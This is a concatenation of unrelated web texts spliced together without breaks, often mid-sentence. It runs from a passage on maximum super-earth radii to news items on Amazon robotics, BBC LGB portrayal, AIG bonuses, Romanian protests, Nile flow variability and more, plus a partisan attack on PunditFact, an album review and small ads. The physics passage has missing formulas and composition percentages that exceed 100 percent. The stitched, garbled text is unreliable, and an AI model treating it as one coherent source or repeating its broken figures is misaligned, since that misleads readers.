central pressure of a uniform body is. In reality planets do not tend to be uniform, but let us ignore this. Given an average density we see that the pressure grows with the square of the radius and quickly becomes very large (in Earth, the core pressure is somewhere in the vicinity of 350 GPa). If we wanted something huge and heavy we need to make it out of something incompressible, or in the language of physics, something with a stiff equation of state. There is a fair amount of research about super-earth compositions and mass-radius relationships in the astrophysics community, with models of various levels of complexity. This paper by Seager, Kuchner, Hier-Majumder and Militzer provides a lovely approximate formula: up to about 20 earth masses. Taking the derivative and setting it to zero gives us the mass where the radius is maximal as . Taking the constants (table 4) corresponding to iron gives a maximum radius at the mass of 274 Earths, perovskite at 378 Earths, and for ice at 359 Earths. We should likely not trust the calculation very much around the turning point, since we are well above the domain of applicability. Still, looking at figure 4 shows that the authors at least plot the curves up to this range. The maximal iron world is about 2.7 times larger than Earth, the maximal perovskite worlds manage a bit more than 3 times Earth’s radius, and the waterworlds just about reach 5 times. My own plot of the approximation function gives somewhat smaller radii: Mordasini et al. have a paper producing similar results; for masses around 1000 Earth masses their maximum sizes are about 3.2 times for a Earthlike 2:1 silicate-to-iron ratio, 4 times for an 50% ice, 33% silicate and 70% iron planet, and
and pick relevant items off shelves almost constantly. No time is lost walking up and down aisles. Amazon's robotics efforts also include a program to develop autonomous drones that would deliver packages to backyards with almost no human input. But the company still has a voracious demand for human employees. Amazon needs more employees to work in the new warehouses it is rapidly opening around the country. Common roles include picking goods off shelves, and packaging them for delivery. While some caution that we're headed toward rampant unemployment that will roil society as workers can't be retrained, others are more optimistic. "I'd rather be living in the world today, than what my grandfather or the kings of England lived in," Agarwal said. "To the extent we will always need people to build and program smart machines, there will always be jobs." CNNMoney (Washington) First published October 14, 2016: 4:26 PM ETImage caption Torchwood was praised for its inclusion of LGB characters The BBC has been urged to be "more creative" and "bolder" in how it represents lesbian, gay and bisexual (LGB) people across its output. The recommendation was made by experts contributing to a BBC review on its portrayal of LGB people. The report's contributors called on the corporation to feature more LGB people in its news and current affairs, sport and children's programming. The review also included the responses of around 2,700 members of the public. Although the experts said all broadcasters had a responsibility to represent diversity, the BBC had an extra obligation as it was funded by the licence fee and needed to be "a standard bearer". They said although the portrayal of LGB people had improved over the past 10 years, there was still a sense they were "still relatively invisible, especially lesbian women and bisexual people". Organisations that took part in the research included gay rights lobby group Stonewall, trade union Equity and The Lesbian and Gay Foundation, as well as charities. Doctor Who quite often has a gay character in it but it isn't always an issue or the plotline - it's just incidental which has been quite nice Galop, charity The BBC's radio stations were perceived to have better representation of LGB people than its TV channels. The largest criticism was aimed at BBC news and current affairs, which was felt to be "unnecessarily and deliberately confrontational". "Portrayal on news is not that incidental. It is very much a story about'somebody is gay'," Stonewall said. Equity added: "News programmes tend to cover issues relating to LGB in the old provocative ways still, i.e. the'rent a bigots' still get to have their say." On the subject of including more LGB people in children's programming, charity Families Together said the BBC needed to "grow up". "[The] best way to help is for young children from nursery age upwards to be exposed through children's programming." The BBC was praised for the "incidental inclusion" of LGB characters in a number of high-profile drama series, including Doctor Who, Torchwood, EastEnders, Holby City and Casualty. "Doctor Who quite often has a gay character in it but it isn't always an issue or the plotline - it's just incidental which has been quite nice," said Galop, an anti-hate crime charity. Image caption EastEnders featured characters Christian and Syed exchanging vows earlier this year But the experts still urged programme-makers to be more bold and braver in its output. The corporation was also praised for its high-profile LGB presenters, including Clare Balding, Radio 1 Breakfast show DJ Nick Grimshaw and Great British Bake Off host Sue Perkins. The second part of the review surveyed 2,709 audience members on the issue. Forming part of the BBC's independently run audience reaction panel, it included 436 people who identified themselves as lesbian, gay or bisexual. The survey showed that about 40% of people think it is important that TV in general features LGB content, while 20% think it is unimportant and 40% have no view. When asked the same question specifically in relation to the BBC, there was a similar response - with the audience not distinguishing a difference in obligation just because it was the BBC. Overall, the portrayal of LGB people on TV was thought to be less important than other characteristics, such as having a disability. Around 20% of respondents thought there was too little LGB coverage on TV, however 25% of heterosexual men said there was too much coverage of LGB people on TV - particularly of gay men. The BBC said it would repeat the survey in a year and would use the findings to help address the amount of portrayal of LGB people in its output.If you like liberal ideologues who label inconvenient facts as “false,” then you’ll love PunditFact. Why? Because PunditFact just declared that a demonstrably true fact was false because, according to PunditFact, the factual claim “ignores critical facts that would give a different impression.” Facts are strange that way. They do tend to give an impression of the truth, even if some people find that impression discomfiting. It gets more embarrassing than that, though. In an unsolicited April 28 e-mail to me, PunditFact author Louis Jacobson told me unequivocally that the demonstrably factual claim he was examining was “clearly accurate” and “technically true.” But today, Jacobson declares, that fact is suddenly “Mostly False.” Last month, I wrote a meticulously researched article examining several years’ worth of financial data from the Clinton Foundation. What I found was that of the roughly $500 million raised by the Clinton Foundation from 2009 through 2012, barely 15 percent of its expenditures were charitable grants to other organizations. Rush Limbaugh repeated the claim on his radio show several weeks later, and PunditFact took it upon itself to determine whether the obviously factual statement, supported by voluminous financial documentation, was indeed factual. Here is the precise statement I made in my initial analysis that Limbaugh quoted: Between 2009 and 2012, the Clinton Foundation raised over $500 million dollars according to a review of IRS documents by The Federalist (2012, 2011, 2010, 2009, 2008). A measly 15 percent of that, or $75 million, went towards programmatic grants. Earlier this week, I wrote two more articles detailing the Clinton Foundation’s finances. The first, which relied entirely on tax return filings provided by the Clinton Foundation, showed that the organization spent less than 10 percent of its 2013 budget on charitable grants. The second article, which examined the many different non-profit entities managed by the Clinton, quoted Clinton Foundation executive Ira Magaziner, who said of the tax-exempt group’s activities, “This is not charity. This is a commercial proposition.” Those two sets of facts — the underlying financial information provided to the IRS by the Clinton Foundation and the testimony of its own executive — are crucial in determining whether the Clinton Foundation is primarily engaged in charitable activities. When a Clinton Foundation executive, especially one who serves as CEO of the Clinton Health Access Initiative, openly brags that his organization’s efforts are commercial rather than charitable in nature, I’m inclined to believe him. The “Mostly False” declaration of PunditFact’s Louis Jacobson is even more fascinating given that he was not aware until I told him so that the Clinton Foundation annual report and the Clinton Foundation’s tax filings are not apples-to-apples comparisons. A researcher familiar with the subject material he was researching would have known that, but Jacobson did not. The annual report lumps together numerous distinct non-profit entities, whereas the tax filings were related to a single tax-exempt entity, the Clinton Foundation, also referred to as the Bill, Hillary, & Chelsea Clinton Foundation. “I didn’t re-run your calculations, but I entirely agree that the 990s paint a different picture than what the foundation says (such as in its annual report),” Jacobson told me in his initial e-mail to me. “It’s such a yawning gap that there has to be some sort of explanation, and that’s what I’m looking for.” I gave Jacobson multiple explanations as to the source of that “yawning gap.” We’ll set aside for the moment that a decent journalist should’ve been able to figure out those gaps on his own by simply examining the annual report and the tax filings. We’re not talking rocket science here. Jacobson is not that journalist. Jacobson’s issue wasn’t with a lack of explanations. His issue was that the actual explanations didn’t jibe with the story he wanted to tell. While it is true that Jacobson clearly admitted to me via e-mail that my research findings were “technically true,” I unfortunately cannot say the same about several other claims he attempted to make. For example, Jacobson told me that “it seems misleading to say that only 15 percent of what they spend went to ‘programmatic grants.'” Actually, it is grossly misleading and factually inaccurate to say anything but that. It is a simple, demonstrable, indisputable fact based entirely on publicly available financial filings. Here, for example, is how the Clinton Foundation’s 2013 tax filings list the expenditures: How are the expenditures categorized on the IRS filings? As grants/program service expenses. It is impossible to be inaccurate or misleading when you are literally quoting figures taken directly from an organization’s tax records. The problem here is not one of facts or accuracy, but ideology. Jacobson simply doesn’t like the implications of the fact that the Clinton Foundation spent less than 10 percent of its budgets on charitable grants in 2013. He doesn’t like the fact that the two single largest “charitable” initiatives of the Clinton Foundation — by its own admission — are the Clinton Presidential Library, which exists solely to put a positive spin on the 42nd president’s term in office, and the Clinton Global Initiative, which the New York Times characterized as a “glitzy annual gathering of chief executives, heads of state, and celebrities.” If hanging out with celebrities at glitzy dinners is the height of charity, then it’s time to beatify the Kardashian sisters. “[T]he foundation says it does most of its charitable work in-house,” Jacobson writes, “and it’s not credible to think that the foundation spent zero dollars beyond grants on any charitable work, which is what it would take for Limbaugh to be correct.” Actually, no. No. That’s not what it would take for Limbaugh (and, by extension, The Federalist) to be correct. We and he stated that over a four-year period, the Clinton Foundation spent only 15 percent of its budget on charitable grants. Do you know what it takes for that statement to be correct? The demonstration that over that four-year period the Clinton Foundation spent only 15 percent of its budget on charitable grants. That’s it. Nothing else is required. Unless, of course, your goal is to rehabilitate the Clintons rather than to broadcast actual facts. Now, I don’t know why Jacobson didn’t spend any time examining where these “in-house” charitable expenditures actually ended up. I don’t know why he didn’t ask if spending millions on Bill Clinton’s personal library should really count as charity. I don’t know why he didn’t dig in and see if flying on private jets and eating fancy meals with celebrities were activities that are truly charitable in nature. After all, that’s where a huge chunk of this “in-house” charity money actually went. It could be that he lacks the basic capacity to read and analyze a simple financial statement. It could be that he viewed highly compensated Clinton payroll employees (charity beneficiaries according to Jacobson’s analysis) as independent arbiters of what constitutes charity and what constitutes lily-gilding tax-exempt excess. It could be that he didn’t care at all about the actual, demonstrable facts and was instead far more interested in defending the Clintons, no matter the cost. Fortunately, Jacobson gives us a hint as to his intent. According to Jacobson, the notion that all non-charitable grant money must be considered as “in-house” charity expenditures “depends on trusting the Clinton foundation’s characterization of its expenditures.” You don’t say. Well, luckily for us, the Clinton Foundation doesn’t have any history at all of deliberately mischaracterizing its financial information or deliberately hiding the source of millions of dollars worth of foreign donations. So what we have from Jacobson is not a fact check, but an implication check. He likes the implications of agreeing with people on the Clinton payroll, so he trusts them, even when actual facts, history, and common sense contradict their assertions. Jacobson does not like the implications of facts that show the Clintons and their allies in a poor light, so he declares them to be false. This is not journalism. This is not fact-checking. This is pathetic demagoguery, and a remarkably unimpressive display of it at that. “Let me stop you at ‘while technically true,'” I told Jacobson via e-mail, “because that’s really the only standard that matters when judging whether something is true or not. Whether you happen to like a fact is irrelevant to whether it’s true. So when you tell me that the truth of a statement is not the primary factor in determining whether something is true [or] not (“I don’t expect it to be a full True”), it tells me that you have an agenda that’s separate from determining whether something is true. That’s disappointing.” It’s also vintage PunditFact. [UPDATE: Phil Kerpen notes on Twitter that PunditFact and PolitiFact are funded by a large and active Clinton Foundation donor and partner, a fact PunditFact conveniently failed to disclose in its defense of the Clinton Foundation.]Lucky for us that Warren Haynes has such a restless spirit. For years he's been regarded as the hardest working man in rock music. His many projects, including the annual Christmas Jam, sitting in with The Dead and helping to revitalize The Allman Brothers Band are well documented. It was during a rare lull in activity, when the Brothers were at a stand still that Gov't Mule was born. In the liner notes Haynes recalls that he and the late bassist Allen Woody wanted to recapture the power trio format (along with the "dirty" character of the bass) that had all but been abandoned by late 1994. Prior to joining the Allmans with Woody in 1989, Haynes played second guitar in the Dickey Betts Band, where he met drummer Matt Abts. A master at recruitment, Haynes knew that Abts "seemed like the missing piece of the puzzle". It's interesting-and revealing-to compare the "Tel-star Sessions" with the Mule's debut. Six of the "Tel-star" tracks can be found on the first album, while "Blind Man In The Dark" would appear on "Dose", the second studio release. Haynes regarded the "Tel-star" tracks as "demos-never to be released". Upon reflection years later, he liked what he heard and decided to remix the recordings. What stands out are Haynes' vocals. He felt his singing was a bit "rough", but that's the beauty of it. He sounds determined, even hungry on cuts like "Rocking Horse" and "Mr. Big". Allen Woody knew how to fill spaces. When Haynes steps back after a solo, Woody tosses in a memorable bass line-more like another lead player than a traditional bassist. Two tracks have never been included on any studio release: ZZ Tops' "Just Got Paid" does the Billy Gibbons original justice, and Willie Dixon's "The Same Thing" works as well as the Allman's version on "Second Set". I saw the Mule open for the Brothers late in 1995, and the band killed with "Just Got Paid" and "Rocking Horse". Ten years later, I caught Haynes with the Brothers playing their version of "Rocking Horse", which is included on "Hittin' The Note". The loss of Allen Woody in 2000 was a terrible blow to the music world. He played with a jazzman's sensibility and a rock n' roller's heart. Matt Abts is one of the most accomplished drummers in rock; listen to the groove in "Blind Man In The Dark", or the fierce drumming in "Left Coast Groovies". Each band member knew what to play and when to play it. This can be difficult in a trio setting, and these men have an almost telepathic sense, especially on the longer jams. Maybe it's the remix, but Woody and Abts stand out a little more here than on the debut. Haynes, of course, is always brilliant. Today Gov't. Mule is better than ever; Jorgen Carlsson handles the bass duties while keyboardist Danny Louis gives the band a fuller, richer sound. But "Tell-star Sessions", like most archival recordings reminds us of just how talented a young band was on their first attempt at reviving a sound that was in danger of being forgotten. Lucky for us.What would you think if someone told you that Spanish is the #1 language to learn for upcoming global leaders? Would you be skeptical? Assuming you already speak English, then Spanish is actually the most prestigious and beneficial language to learn. Don’t just take our word for it though. This information comes directly from a recent Entrepreneur.com article called The 6 Top Languages Global-Minded CEOs Should Know. Spanish happens to be the #1 language to learn. The other languages making the list include Portuguese, Chinese, Russian, Arabic and German. More good news for you; out of those six languages, Spanish is arguably one of the easiest to learn, alongside Portuguese, thanks to its similarity to English. In the linked list on the website Effective Language Learning, Spanish and Portuguese are ‘category one’ languages that requires 575-600 hours of practice to master. German comes next with up to 750 hours needed. Russian requires 1,100 and then Arabic and Chinese both demand a massive 2,200 hours of study. Are you feeling better about your decision to learn Spanish now? For Canadians in particular who were required to study French until grade 9 with the option to continue beyond that, we have another edge for learning Spanish. Not only is Spanish similar to English, but it’s also similar to French. Some words that are vastly different in Spanish from English such as “library” (“biblioteca”) are more similar to their French counterparts (“bibliothèque”). Not only that, but grammatically speaking, there are further similarities between Spanish and French. For instance, in English you might say he is an intelligent student, with the adjective coming before the noun. In Spanish it would be more appropriate to say él es un estudiante inteligente, with the adjective coming after the noun. The same holds true in French where it would be said il est un étudiant intelligente. For new learners, drafting comparisons between both English and French could help enhance your Spanish comprehension. Hopefully by now you are excited to begin or continue your Spanish language learning. Contact Speak Spanish Academy today to find out how we can help you on your journey.NASHVILLE, Tenn. -- The Tennessee Titans gained a roster spot by placing receiver Kevin Walter on the physically unable to perform list. He's been out since having back surgery following minicamp. Obviously, we can't say what his standing would be if he had been in the field with the Titans since the start of camp. But it's hard to see him outranking any of the team's current top five. That group is: Kenny Britt, Nate Washington, Kendall Wright, Damian Williams and Justin Hunter. Michael Preston is making a strong bid to be kept as a sixth option. And if Marc Mariani, out with a shoulder injury, sticks as the return man, he too is a receiver. There is no room for Walter right now. The window for him to emerge off PUP starts after Week 6 of the regular season. Who knows what sort of shape the Titans will be in at receiver then? At worst for Walter, they are in the same shape, playing well and he's not needed then either. Then he'd get a look for a couple weeks and be put on IR or they'd cut him. At best for Walter -- not that he'd be rooting for an injury or a failure -- someone will be hurt or have underachieved and they'll be a need for him. There isn't that need right now.You know what’s really ducking annoying? When your phone changes the work “fuck” into “duck” or “fucking” into “ducking.” It happens all the time, and it’s ducking bullshit. Now, there’s an easy way to get around Apple’s bullshit censorship. Senior columnist at the Guardian (and apparent Burning Man attendee) Steven Thrasher recently tweeted this sweet hack to fix your phone’s aversion to the word fuck. Advertisement As Thrasher points out, if you add “fuck fucker” and “fucked fucking” as contacts, the iPhone will stop auto-correcting the the word “fuck” into variations of the word duck. What a relief! I thought this hack was totally fascinating and helpful, but as Gizmodo night editor Eve Peyser points out, there’s another way to get around the stupid censorship. If you go to Settings, then General, then Keyboard, the Text Replacement, you can actually create your own auto-corrections and delete word the “ducking” altogether. Wow. Life changed forever.Download Instagram Videos and Photos in HD Quality Do you want to download Instagram videos, photos in High-resolution format? Download best quality Instagram videos and pictures with w3toys Downloader. How to Download Instagram Photo and Video Online? Download Instagram photos and videos to your all devices like pc, computer, mac, phone, iPhone or Android. For Downloading Instagram photos or videos paste Instagram URL (Image or Video) in above ‘Text-Box’ & click Download Button for Instant download. Download link of images and videos will display on the same page. Just Click on the “Download” to save the Photo or Videos. Steps: 1. Go over instagram.com, find Instagram image or video that you want to save. 2. Now copy that URL of the Instagram photo or video. 3. Paste the Instagram copied URL on w3toys textbox and click on "Download" button. 4. Download Image or Video FEATURED IN TechRadar - A downloader with a handy video player to preview clips before saving themOriginally published Saturday, March 21, 2009 at 11:47 PM Veteran financial journalist Jon Talton blogs daily on the most important economic news, trends and issues involving Seattle and the Northwest. Comments (0) E-mail article Print Share A busload of activists representing working- and middle-class families paid visits Saturday to the lavish homes of American International Group executives to protest the tens of millions of dollars in bonuses awarded by the struggling insurance company after it received a massive federal bailout. FAIRFIELD, Conn. — A busload of activists representing working- and middle-class families paid visits Saturday to the lavish homes of American International Group executives to protest the tens of millions of dollars in bonuses awarded by the struggling insurance company after it received a massive federal bailout. About 40 protesters sought to urge AIG executives who received a portion of the $165 million in bonuses to do more to help families. "We think $165 million could be used in a more appropriate way to keep people in their homes, create more jobs and health care," said Emeline Bravo-Blackport, a gardener. She marveled at AIG executive James Haas' colonial house, which has stunning views of a golf course and the Long Island Sound. The Fairfield house is "another part of the world" from her life in nearby Bridgeport, which flirted with bankruptcy in the 1990s and still struggles with foreclosures and unemployment." "Lord, I wonder what it's like to live in a house that size," she said. Another protester, Claire Jeffery, of Bloomfield, said she's on the verge of foreclosure. She works as a housekeeper; her husband, a truck driver, can't find work. "I love my home," she said. "I really want people to help us." News of the bonuses last week ignited a firestorm of controversy and even death threats against AIG employees. The company, which is based in New York, has received $182.5 billion in federal aid and now is about 80 percent government-owned, while the national housing and job markets have collapsed as the country spirals into a crippling recession. American International Group Inc. has said it was contractually obligated to give the retention bonuses, payments designed to keep valued employees from quitting, to people in its financial products unit, based in Wilton, Conn. Congress began action on a bill that would tax 90 percent of the bonuses, and the company's chief executive urged anyone who received more than $100,000 to return at least half. AIG has argued that retention bonuses are crucial to pulling the company out of its crisis. Without the bonuses, the company says, top employees who best understand AIG's business would leave. The company, in response to the protests, said all its employees were "working very hard to pay back the government and help the U.S. economy recover." "The people working at AIG today are part of the solution, not part of the problem," company spokeswoman Christina Pretto said in an e-mailed statement. Besides Haas' home, protesters on Saturday also visited the Fairfield home of AIG executive Douglas Poling. They were met both times by security guards. They left letters that acknowledged some executives, including Haas and Poling, are giving up the money but that asked them to support higher taxes on families earning more than $500,000 a year. "You have a wonderful opportunity to help your neighbors in Connecticut," the letters said. "We ask you to consider the experiences of families struggling in this economy." Afterward, the group protested at the office of AIG's financial products division in Wilton, where they waved signs and chanted, "Money for the needy, not for the greedy!" There were no arrests. Mary Huguley, of Hartford, said AIG executives should share their wealth with people like her sister, who is facing foreclosure. "You ought to share it, and God will bless you for doing it," she said. The protests came amid new questions about the retention bonuses. State Attorney General Richard Blumenthal said Saturday that documents turned over to his office by AIG appeared to show that the company paid $53 million more in bonuses to its financial products division than previously reported. AIG said Blumenthal was wrong. It said the payments to which he referred had been made months ago and had been disclosed to the U.S Department of the Treasury.BUCHARESTBUCHAREST (Reuters) - Romania's president on Tuesday tore into the Social Democrat-led government over a corruption decree that has sparked the biggest protests since the 1989 fall of communism but backed it to stay in power, in a potential reprieve for Prime Minister Sorin Grindeanu. The government on Sunday rescinded the decree, which critics said would have turned back the clock on the fight against corruption in the European Union member state. Some protesters have pledged to keep up the pressure until Grindeanu resigns, although the number taking to the streets has fallen. ADVERTISEMENT After 250,000 protested on Sunday night and 25,000 on Monday, turnout dropped to around 5,000 in Bucharest on Tuesday and several thousand in other cities. In the capital they chanted, "We'll be here day after day." "The purpose of this protest is to have a clean government," said 36-year-old Tudor Muscalu, a designer who joined the demonstration in Bucharest. "The lack of trust at this point cannot be repaired," he said. In a speech to parliament, centrist President Klaus Iohannis admonished the government for issuing the decree a week ago "at night, in secret" without consulting parliament. But he said the ruling Social Democrat Party (PSD) had won the right to govern in a December election and should continue to do so, a message that may take more of the sting out of the protests. Hundreds of thousands of Romanians have demonstrated in the past week in cities across the country, thronging Bucharest’s boulevards in scenes that will not have gone unnoticed elsewhere in Eastern Europe, blighted by corruption and cozy ties between business and politics since the end of communism. "The prosperity of the Romanian people was not your first priority. Your first concern was to look after the penal files, and that's why Romanians are indignant and revolted," Iohannis told lawmakers. ADVERTISEMENT Despite the crisis, he said new elections were not the answer. "You have been saying in public that I would like to overthrow the legitimate government. That's false. You won, now you govern and legislate, but not at any price," Iohannis said. "The resignation of a single minister is too little and early elections would at this stage be too much. This is the available room for maneuver." JUSTICE MINISTER UNDER FIRE Though his role is largely ceremonial, the president’s powers include nominating the prime minister after elections and returning legislation to parliament for reconsideration. PSD lawmakers walked out of the assembly around half-way through the president’s speech. ADVERTISEMENT The Romanian leu firmed to a four-month high of 4.4800 per euro, before retreating to trade 0.3 percent up on the day at 4.4910. Romania, a country of 20 million people and host to a U.S. ballistic missile defense station, remains one of the poorest and most corruption-ridden members of the EU. The decree would have decriminalised a number of graft offences and shielded many public officials from corruption allegations. Protests are expected to continue at least until parliament votes on whether to endorse the government’s repeal of the decree, likely by the end of the week. One minister has already quit over the decree, saying he could not support it, and the Social Democrats have said they expect Grindeanu to decide whether or not to keep Justice Minister Florin Iordache, the architect of the measure. The government, which holds a big majority, faces a no-confidence motion in parliament on Wednesday, when several PSD sources, speaking on condition of anonymity, have told Reuters they also expect Iordache to submit his resignation. ADVERTISEMENT The Constitutional Court will also meet on Wednesday and Thursday to consider legal challenges to the now-withdrawn decree. "For sure, some resignations would be needed and probably inevitable from the government," said political commentator Cristian Patrasconiu. "This is what the street would like to see."The Animedia magazine is revealing on Thursday that the Ace of Diamond: Second Season television anime series will end on the show's 51st episode on March 28. The show has just aired its 48th episode last Monday. The magazine is also revealing the titles of the last three episodes: "Mattero!" (Wait for Me!), "Last Inning," and "Seek Diamond," respectively. The new season premiered on TV Tokyo, TV Osaka, TV Aichi, TV Hokkaido, TV Setouchi, and TVQ Kyushu Broadcasting on last April, and airs every Monday in the 6:00 p.m. time slot. Other channels are also airing the new season, and Niconico and other services are also streaming the anime. Crunchyroll is streaming the anime as it airs in Japan. Crunchyroll describes the story: I want to pitch to that mitt again... A meeting with catcher Kazuya Miyuki changed the 15-year-old Eijun Sawamura's life. He said goodbye to all his friends and knocked upon the door of Seidou, a prestigious baseball school, intent on testing his own strength. There, he met many proud baseball players who were betting everything on the sport! A classic tale, yet new and fresh. All the emotion and excitement of the popular baseball manga is at last coming to television in the form of an anime! The story of Yūji Terajima's original manga begins with Eijun Sawamura (Ryota Ohsaka), a pitcher who joins an elite school with a brilliant catcher named Kazuya Miyuki (Takahiro Sakurai). Together with the rest of the team, they strive for Japan's storied Kōshien championships through hard work and determination. The anime also stars Hiro Shimono as Norifumi Kawakami, Hiroki Touchi as Tesshin Kataoka, Masakazu Morita as Kōchirō Tanba, Nobuyuki Hiyama as Kyokuni Azuma, Yoshitsugu Matsuoka as Shinji Kanemaru, and Yumi Uchiyama as Rei Takashima. New cast members in the second season include: Sōma Saitō as Taiyō Mukai, Daiki Yamashita as Takuma Seto, Akira Ishida as Hisashi Watanabe, Kenichi Suzumura as Nao Matsubara, Jun Fukuyama as Shinichirō Masu, Subaru Kimura as Tsunematsu Ogawa, and Fukushi Ochiai as Kōji Tamaki. The first Ace of Diamond anime season premiered in 2013 in Japan, and Crunchyroll streamed the series as it aired. The manga also inspired an original anime DVD in November 2014, and two more are slated for this year.The unpredictable annual flow of the Nile River is legendary, as evidenced by the story of Joseph and the Pharaoh, whose dream foretold seven years of abundance followed by seven years of famine in a land whose agriculture was, and still is, utterly dependent on that flow. Now, researchers at MIT have found that climate change may drastically increase the variability in Nile’s annual output. Being able to predict the amount of flow variability, and even to forecast likely years of reduced flow, will become ever more important as the population of the Nile River basin, primarily in Egypt, Sudan, and Ethiopia, is expected to double by 2050, reaching nearly 1 billion. The new study, based on a variety of global climate models and records of rainfall and flow rates over the last half-century, projects an increase of 50 percent in the amount of flow variation from year to year. The study, published in the journal Nature Climate Change, was carried out by professor of civil and environmental engineering Elfatih Eltahir and postdoc Mohamed Siam. They found that as a result of a warming climate, there will be an increase in the intensity and duration of the Pacific Ocean phenomenon known as the El Niño/La Niña cycle, which they had previously shown is strongly connected to annual rainfall variations in the Ethiopian highlands and adjacent eastern Nile basins. These regions are the primary sources of the Nile’s waters, accounting for some 80 percent of the river’s total flow. The cycle of the Nile’s floods has been “of interest to human civilization for millennia,” says Eltahir, the Breene M. Kerr Professor of Hydrology and Climate. Originally, the correlation he showed between the El Niño/La Niña cycle and Ethiopian rainfall had been aimed at helping with seasonal and short-term predictions of the river’s flow, for planning storage and releases from the river’s many dams and reservoirs. The new analysis is expected to provide useful information for much longer-term strategies for placement and operation of new and existing dams, including Africa’s largest, the Grand Ethiopian Renaissance Dam, now under construction near the Ethiopia-Sudan border. While there has been controversy about that dam, and especially about how the filling of its reservoir will be coordinated with downstream nations, Eltahir says this study points to the importance of focusing on the potential impacts of climate change and rapid population growth as the most significant drivers of environmental change in the Nile basin. “We think that climate change is pointing to the need for more storage capacity in the future,” he says. “The real issues facing the Nile are bigger than that one controversy surrounding that dam.” Using a variety of global circulation models under “business as usual” scenarios, assuming that major reductions in greenhouse gas emissions do not take place, the study finds that the changing rainfall patterns would likely lead to an average increase of the Nile’s annual flow of 10 to 15 percent. That is, it would grow from its present 80 cubic kilometers per year to about 92 or more cubic kilometers per year averaged over the 21st century, compared to the 20th century average. The findings also suggest that there will be substantially fewer “normal” years, with flows between 70 and 100 cubic kilometers per year. There will also be many more extreme years with flows greater than 100, and more years of drought. (Statistically, the variability is measured as the standard deviation of the annual flow rates, which is the number that is expected to see a 50 percent rise). The pattern has in fact played out over the last two years — 2015, an intense El Niño year, saw drought conditions in the Nile basin, while the La Niña year of 2016 saw high flooding. “It’s not abstract,” Eltahir says. “This is happening now.” As with Joseph’s advice to Pharaoh, the knowledge of such likely changes can help planners to be prepared, in this case by storing water in huge reservoirs to be released when it is really needed. "Too often we focus on how climate change might influence average conditions, to the exclusion of thinking about variability," says Ben Zaitchik, an associate professor of earth and planetary sciences at Johns Hopkins University, who was not involved in this work. "That can be a real problem for a place like the Eastern Nile basin, where average rainfall and streamflow might increase with climate change, suggesting that water will be plentiful. But if variability increases as well, then there could be as frequent or more frequent stress events, and significant planning — in infrastructure or management strategies — might be required to ensure water security." Already, Eltahir’s earlier work on the El Niño/La Niña correlation with Nile flow is making an impact. “It’s used operationally in the region now in issuing seasonal flood forecasts, with a significant lead time that gives water resources engineers enough time to react. Before, you had no idea,” he says adding that he hopes the new information will enable even better long-term planning. “By this work, we at least reduce some of the uncertainty.”The Freedom From Religion Foundation is asking a Kentucky county clerk to get rid of a Ten Commandments painting prominently on display in her office. A large painting of the Ten Commandments is conspicuously exhibited at the Trigg County clerk's office. The painting says, "God spoke these words" and includes a modern and revised list of the Ten Commandments. The Ten Commandments display breaches the Establishment Clause of the First Amendment, FFRF points out. "In McCreary County v. ACLU, the Supreme Court ruled that a modern display of the Ten Commandments in two Kentucky courthouses violated the U.S. Constitution," FFRF Staff
and emotions, before they take control of you.Sep 16, 2016; Anaheim, CA, USA; Toronto Blue Jays catcher Dioner Navarro (30) gets his bat ready for batting practice before the game against the Los Angeles Angels at Angel Stadium of Anaheim. Mandatory Credit: Jayne Kamin-Oncea-USA TODAY Sports Former Toronto Blue Jays backstop and fan favorite Dioner Navarro proves why life is bigger than baseball as fans we sometimes forget what players have to deal with away with the ballpark when they are expected to perform on the field. Dioner Navarro joined Barry Davis on his “Outta The Park” podcast last night and openly spoke about almost losing his wife this offseason due to a stroke and the struggles he had to overcome during the 2016 season. The catcher’s wife was diagnosed with a brain aneurysm last year while he was playing with the Chicago White Sox. She was scheduled for offseason surgery but suffered a massive stroke this December and was in a coma for three months. Navarro’s wife came out of the coma only three weeks ago and the Navarro family finally returned home ten days ago. The 33-year old reiterated that he is not retired but does figure teams have stayed away from him this offseason once finding out about his current family situation. The backstop played 85 games with the White Sox batting.210 with 6 home runs before being traded back to the Blue Jays at the end of August for Colton Turner. Once back with the Jays Navarro only hit.182 in 16 games in a backup role. Obviously knowing what we know now and what Navarro and his family were struggling to overcome sheds some light on the unexplained drop in offense. Throughout the interview, Navarro also talks about his time with the Blue Jays and his buddy Jose Bautista and why he sometimes gets a bad rap from opposing fans and players. You can listen to the entire podcast HERE, the Navarro interview begins around the 39-minute mark. Dioner Navarro reveals to me that his wife almost lost her life in December. Listen to his heart wrenching story on Outta the Park https://t.co/bL42xmeKFo — Barry Davis (@BarryDavis_) May 22, 2017 If you weren’t a Navarro fan before listening to the podcast, you will definitely be after. Navarro has a great perspective on life and as great of a ballplayer that he is, he is an even better human being. Hopefully, the Blue Jays give him another chance north of the border.ARLINGTON (CBSDFW.COM) – Efficient transportation or safety hazard? There is new debate about pedicabs roaming the streets around AT&T Stadium and Globe Life Park. The people-powered taxi cabs could be shut down in Arlington, according to one of the options in a briefing council will hear Tuesday. If that were to happen, pedicabs that normally roam streets in Arlington’s Entertainment District could be shut down before baseball season. The city report cites safety concerns about their operation. Some pedicab drivers say they feel they’ve been targeted by people at city hall who don’t want them here. “We are considered the pests that are allowed to be here even though people love having us out here,” said pedicab operator Michael Kahlig. Kahlig is one of 40 pedicab operators in danger of losing his job. All the drivers have reapplied for licenses which would be issued February 1 in a lottery for the 40 permits. The council could postpone that lottery. “We are just in limbo until they tell us what’s going to happen,” Kahlig said. People who live on the fringe of the entertainment district said they see how pedicab operations weaving through traffic might raise safety concerns. “Any other way they try to go they’re liable to get hit,” said Rodney Smith. “So you got cars here and here when you got a little narrow way to go round the car you take that chance and you go.” A report to city council cites driving between cars as one of several safety concerns; including driving on sidewalks, overloading vehicles with too many passengers and operating in restricted areas. All concerns pedicab operators said can be addressed without shutting down their businesses. “Just baseball alone, since 2009, pedicabs and carts have moved over 2 million people,” said pedicab driver Patrick Peeraer. “We are not contributing to the congestion, we are minimizing the congestion by moving people in a quicker fashion. By getting them out of the venue area in a quicker and safer way.” Indeed, the report states there isn’t any data showing the pedicabs cause congestion around events. The report also states there were two traffic accidents involving pedicabs in the past two years but no citations were issued. (©2016 CBS Local Media, a division of CBS Radio Inc. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)ZURICH (Reuters) - Freedom Party candidate Norbert Hofer has widened his lead in a Gallup poll ahead of October’s repeat election for the Austrian presidency. Presidential candidate Norbert Hofer of the Freedom Party (FPOe) attends the retirement ceremony of Austria's President Heinz Fischer (not pictured) at the federal assembly in Vienna, Austria, July 